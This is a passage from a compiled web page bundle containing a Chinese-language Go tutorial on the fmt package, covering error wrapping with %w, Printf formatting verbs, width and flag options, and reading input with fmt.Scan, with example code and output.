fmt.Errorf("\u8fd9\u662f\u4e00\u4e2a\u9519\u8bef")\n'})}),"\n",(0,s.jsxs)(e.p,{children:["Go1.13\u7248\u672c\u4e3a",(0,s.jsx)(e.code,{children:"fmt.Errorf"}),"\u51fd\u6570\u65b0\u52a0\u4e86\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"%w"}),"\u5360\u4f4d\u7b26\u7528\u6765\u751f\u6210\u4e00\u4e2a\u53ef\u4ee5\u5305\u88f9Error\u7684Wrapping Error\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'e := errors.New("\u539f\u59cb\u9519\u8befe")\nw := fmt.Errorf("Wrap\u4e86\u4e00\u4e2a\u9519\u8bef%w", e)\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26",children:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"*printf"}),"\u7cfb\u5217\u51fd\u6570\u90fd\u652f\u6301format\u683c\u5f0f\u5316\u53c2\u6570\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u6309\u7167\u5360\u4f4d\u7b26\u5c06\u88ab\u66ff\u6362\u7684\u53d8\u91cf\u7c7b\u578b\u5212\u5206\uff0c\u65b9\u4fbf\u67e5\u8be2\u548c\u8bb0\u5fc6\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u901a\u7528\u5360\u4f4d\u7b26",children:"\u901a\u7528\u5360\u4f4d\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%v"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u503c\u7684\u9ed8\u8ba4\u683c\u5f0f\u8868\u793a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%+v"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u7c7b\u4f3c%v\uff0c\u4f46\u8f93\u51fa\u7ed3\u6784\u4f53\u65f6\u4f1a\u6dfb\u52a0\u5b57\u6bb5\u540d"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%#v"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u503c\u7684Go\u8bed\u6cd5\u8868\u793a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%T"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6253\u5370\u503c\u7684\u7c7b\u578b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%%"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u767e\u5206\u53f7"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'fmt.Printf("%v\\n", 100)\nfmt.Printf("%v\\n", false)\no := struct{ name string }{"\u5c0f\u738b\u5b50"}\nfmt.Printf("%v\\n", o)\nfmt.Printf("%#v\\n", o)\nfmt.Printf("%T\\n", o)\nfmt.Printf("100%%\\n")\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:'100\nfalse\n{\u5c0f\u738b\u5b50}\nstruct { name string }{name:"\u5c0f\u738b\u5b50"}\nstruct { name string }\n100%\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u5e03\u5c14\u578b",children:"\u5e03\u5c14\u578b"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%t"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"true\u6216false"})]})})]}),"\n",(0,s.jsx)(e.h3,{id:"\u6574\u578b",children:"\u6574\u578b"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%b"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u4e8c\u8fdb\u5236"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%c"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8be5\u503c\u5bf9\u5e94\u7684unicode\u7801\u503c"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%d"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u8fdb\u5236"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%o"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u516b\u8fdb\u5236"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%x"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u516d\u8fdb\u5236\uff0c\u4f7f\u7528a-f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%X"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u516d\u8fdb\u5236\uff0c\u4f7f\u7528A-F"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%U"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3aUnicode\u683c\u5f0f\uff1aU+1234\uff0c\u7b49\u4ef7\u4e8e\u201dU+%04X\u201d"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%q"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8be5\u503c\u5bf9\u5e94\u7684\u5355\u5f15\u53f7\u62ec\u8d77\u6765\u7684go\u8bed\u6cd5\u5b57\u7b26\u5b57\u9762\u503c\uff0c\u5fc5\u8981\u65f6\u4f1a\u91c7\u7528\u5b89\u5168\u7684\u8f6c\u4e49\u8868\u793a"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'n := 65\nfmt.Printf("%b\\n", n)\nfmt.Printf("%c\\n", n)\nfmt.Printf("%d\\n", n)\nfmt.Printf("%o\\n", n)\nfmt.Printf("%x\\n", n)\nfmt.Printf("%X\\n", n)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"1000001\nA\n65\n101\n41\n41\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570",children:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%b"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u5c0f\u6570\u90e8\u5206\u3001\u4e8c\u8fdb\u5236\u6307\u6570\u7684\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u5982-123456p-78"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%e"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u5982-1234.456e+78"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%E"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u5982-1234.456E+78"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u5c0f\u6570\u90e8\u5206\u4f46\u65e0\u6307\u6570\u90e8\u5206\uff0c\u5982123.456"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%F"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u7b49\u4ef7\u4e8e%f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%g"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u91c7\u7528%e\u6216%f\u683c\u5f0f\uff08\u4ee5\u83b7\u5f97\u66f4\u7b80\u6d01\u3001\u51c6\u786e\u7684\u8f93\u51fa\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%G"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u91c7\u7528%E\u6216%F\u683c\u5f0f\uff08\u4ee5\u83b7\u5f97\u66f4\u7b80\u6d01\u3001\u51c6\u786e\u7684\u8f93\u51fa\uff09"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'f := 12.34\nfmt.Printf("%b\\n", f)\nfmt.Printf("%e\\n", f)\nfmt.Printf("%E\\n", f)\nfmt.Printf("%f\\n", f)\nfmt.Printf("%g\\n", f)\nfmt.Printf("%G\\n", f)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"6946802425218990p-49\n1.234000e+01\n1.234000E+01\n12.340000\n12.34\n12.34\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u548cbyte",children:"\u5b57\u7b26\u4e32\u548c[]byte"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%s"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u76f4\u63a5\u8f93\u51fa\u5b57\u7b26\u4e32\u6216\u8005[]byte"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%q"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8be5\u503c\u5bf9\u5e94\u7684\u53cc\u5f15\u53f7\u62ec\u8d77\u6765\u7684go\u8bed\u6cd5\u5b57\u7b26\u4e32\u5b57\u9762\u503c\uff0c\u5fc5\u8981\u65f6\u4f1a\u91c7\u7528\u5b89\u5168\u7684\u8f6c\u4e49\u8868\u793a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%x"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bcf\u4e2a\u5b57\u8282\u7528\u4e24\u5b57\u7b26\u5341\u516d\u8fdb\u5236\u6570\u8868\u793a\uff08\u4f7f\u7528a-f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%X"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bcf\u4e2a\u5b57\u8282\u7528\u4e24\u5b57\u7b26\u5341\u516d\u8fdb\u5236\u6570\u8868\u793a\uff08\u4f7f\u7528A-F\uff09"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s := "\u5c0f\u738b\u5b50"\nfmt.Printf("%s\\n", s)\nfmt.Printf("%q\\n", s)\nfmt.Printf("%x\\n", s)\nfmt.Printf("%X\\n", s)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:'\u5c0f\u738b\u5b50\n"\u5c0f\u738b\u5b50"\ne5b08fe78e8be5ad90\nE5B08FE78E8BE5AD90\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u6307\u9488",children:"\u6307\u9488"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%p"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u516d\u8fdb\u5236\uff0c\u5e76\u52a0\u4e0a\u524d\u5bfc\u76840x"})]})})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'a := 10\nfmt.Printf("%p\\n", &a)\nfmt.Printf("%#p\\n", &a)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"0xc000094000\nc000094000\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5bbd\u5ea6\u6807\u8bc6\u7b26",children:"\u5bbd\u5ea6\u6807\u8bc6\u7b26"}),"\n",(0,s.jsx)(e.p,{children:"\u5bbd\u5ea6\u901a\u8fc7\u4e00\u4e2a\u7d27\u8ddf\u5728\u767e\u5206\u53f7\u540e\u9762\u7684\u5341\u8fdb\u5236\u6570\u6307\u5b9a\uff0c\u5982\u679c\u672a\u6307\u5b9a\u5bbd\u5ea6\uff0c\u5219\u8868\u793a\u503c\u65f6\u9664\u5fc5\u9700\u4e4b\u5916\u4e0d\u4f5c\u586b\u5145\u3002\u7cbe\u5ea6\u901a\u8fc7\uff08\u53ef\u9009\u7684\uff09\u5bbd\u5ea6\u540e\u8ddf\u70b9\u53f7\u540e\u8ddf\u7684\u5341\u8fdb\u5236\u6570\u6307\u5b9a\u3002\u5982\u679c\u672a\u6307\u5b9a\u7cbe\u5ea6\uff0c\u4f1a\u4f7f\u7528\u9ed8\u8ba4\u7cbe\u5ea6\uff1b\u5982\u679c\u70b9\u53f7\u540e\u6ca1\u6709\u8ddf\u6570\u5b57\uff0c\u8868\u793a\u7cbe\u5ea6\u4e3a0\u3002\u4e3e\u4f8b\u5982\u4e0b\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u9ed8\u8ba4\u5bbd\u5ea6\uff0c\u9ed8\u8ba4\u7cbe\u5ea6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%9f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bbd\u5ea69\uff0c\u9ed8\u8ba4\u7cbe\u5ea6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%.2f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u9ed8\u8ba4\u5bbd\u5ea6\uff0c\u7cbe\u5ea62"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%9.2f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bbd\u5ea69\uff0c\u7cbe\u5ea62"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%9.f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bbd\u5ea69\uff0c\u7cbe\u5ea60"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'n := 12.34\nfmt.Printf("%f\\n", n)\nfmt.Printf("%9f\\n", n)\nfmt.Printf("%.2f\\n", n)\nfmt.Printf("%9.2f\\n", n)\nfmt.Printf("%9.f\\n", n)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"12.340000\n12.340000\n12.34\n 12.34\n 12\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5176\u4ed6flag",children:"\u5176\u4ed6flag"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019+\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u603b\u662f\u8f93\u51fa\u6570\u503c\u7684\u6b63\u8d1f\u53f7\uff1b\u5bf9%q\uff08%+q\uff09\u4f1a\u751f\u6210\u5168\u90e8\u662fASCII\u5b57\u7b26\u7684\u8f93\u51fa\uff08\u901a\u8fc7\u8f6c\u4e49\uff09\uff1b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019 \u2018"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bf9\u6570\u503c\uff0c\u6b63\u6570\u524d\u52a0\u7a7a\u683c\u800c\u8d1f\u6570\u524d\u52a0\u8d1f\u53f7\uff1b\u5bf9\u5b57\u7b26\u4e32\u91c7\u7528%x\u6216%X\u65f6\uff08% x\u6216% X\uff09\u4f1a\u7ed9\u5404\u6253\u5370\u7684\u5b57\u8282\u4e4b\u95f4\u52a0\u7a7a\u683c"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019-\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5728\u8f93\u51fa\u53f3\u8fb9\u586b\u5145\u7a7a\u767d\u800c\u4e0d\u662f\u9ed8\u8ba4\u7684\u5de6\u8fb9\uff08\u5373\u4ece\u9ed8\u8ba4\u7684\u53f3\u5bf9\u9f50\u5207\u6362\u4e3a\u5de6\u5bf9\u9f50\uff09\uff1b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019#\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u516b\u8fdb\u5236\u6570\u524d\u52a00\uff08%#o\uff09\uff0c\u5341\u516d\u8fdb\u5236\u6570\u524d\u52a00x\uff08%#x\uff09\u62160X\uff08%#X\uff09\uff0c\u6307\u9488\u53bb\u6389\u524d\u9762\u76840x\uff08%#p\uff09\u5bf9%q\uff08%#q\uff09\uff0c\u5bf9%U\uff08%#U\uff09\u4f1a\u8f93\u51fa\u7a7a\u683c\u548c\u5355\u5f15\u53f7\u62ec\u8d77\u6765\u7684go\u5b57\u9762\u503c\uff1b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u20180\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u4f7f\u75280\u800c\u4e0d\u662f\u7a7a\u683c\u586b\u5145\uff0c\u5bf9\u4e8e\u6570\u503c\u7c7b\u578b\u4f1a\u628a\u586b\u5145\u76840\u653e\u5728\u6b63\u8d1f\u53f7\u540e\u9762\uff1b"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s := "\u5c0f\u738b\u5b50"\nfmt.Printf("%s\\n", s)\nfmt.Printf("%5s\\n", s)\nfmt.Printf("%-5s\\n", s)\nfmt.Printf("%5.7s\\n", s)\nfmt.Printf("%-5.7s\\n", s)\nfmt.Printf("%5.2s\\n", s)\nfmt.Printf("%05s\\n", s)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"\u5c0f\u738b\u5b50\n \u5c0f\u738b\u5b50\n\u5c0f\u738b\u5b50 \n \u5c0f\u738b\u5b50\n\u5c0f\u738b\u5b50 \n \u5c0f\u738b\n00\u5c0f\u738b\u5b50\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u83b7\u53d6\u8f93\u5165",children:"\u83b7\u53d6\u8f93\u5165"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00",(0,s.jsx)(e.code,{children:"fmt"}),"\u5305\u4e0b\u6709",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u4e09\u4e2a\u51fd\u6570\uff0c\u53ef\u4ee5\u5728\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u4ece\u6807\u51c6\u8f93\u5165\u83b7\u53d6\u7528\u6237\u7684\u8f93\u5165\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"fmtscan",children:"fmt.Scan"}),"\n",(0,s.jsx)(e.p,{children:"\u51fd\u6570\u5b9a\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Scan(a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Scan\u4ece\u6807\u51c6\u8f93\u5165\u626b\u63cf\u6587\u672c\uff0c\u8bfb\u53d6\u7531\u7a7a\u767d\u7b26\u5206\u9694\u7684\u503c\u4fdd\u5b58\u5230\u4f20\u9012\u7ed9\u672c\u51fd\u6570\u7684\u53c2\u6570\u4e2d\uff0c\u6362\u884c\u7b26\u89c6\u4e3a\u7a7a\u767d\u7b26\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u672c\u51fd\u6570\u8fd4\u56de\u6210\u529f\u626b\u63cf\u7684\u6570\u636e\u4e2a\u6570\u548c\u9047\u5230\u7684\u4efb\u4f55\u9519\u8bef\u3002\u5982\u679c\u8bfb\u53d6\u7684\u6570\u636e\u4e2a\u6570\u6bd4\u63d0\u4f9b\u7684\u53c2\u6570\u5c11\uff0c\u4f1a\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\u62a5\u544a\u539f\u56e0\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u5177\u4f53\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar (\n\t\tname string\n\t\tage int\n\t\tmarried bool\n\t)\n\tfmt.Scan(&name, &age, &married)\n\tfmt.Printf("\u626b\u63cf\u7ed3\u679c name:%s age:%d married:%t \\n", name, age, married)\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u5728\u7ec8\u7aef\u6267\u884c\uff0c\u5728\u7ec8\u7aef\u4f9d\u6b21\u8f93\u5165",(0,s.jsx)(e.code,{children:"\u5c0f\u738b\u5b50"}),"\u3001",(0,s.jsx)(e.code,{children:"28"}),"\u548c",(0,s.jsx)(e.code,{children:"false"}),"\u4f7f\u7528\u7a7a\u683c\u5206\u9694\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n\u5c0f\u738b\u5b50 28 false\n\u626b\u63cf\u7ed3\u679c name:\u5c0f\u738b\u5b50 age:28 married:false \n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u626b\u63cf\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\uff0c\u5c06\u4ee5\u7a7a\u767d\u7b26\u5206\u9694\u7684\u6570\u636e\u5206\u522b\u5b58\u5165\u6307\u5b9a\u7684\u53c2\u6570\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"fmtscanf",children:"fmt.Scanf"}),"\n",(0,s.jsx)(e.p,{children:"\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Scanf(format string, a ...interface{}) (n int, err 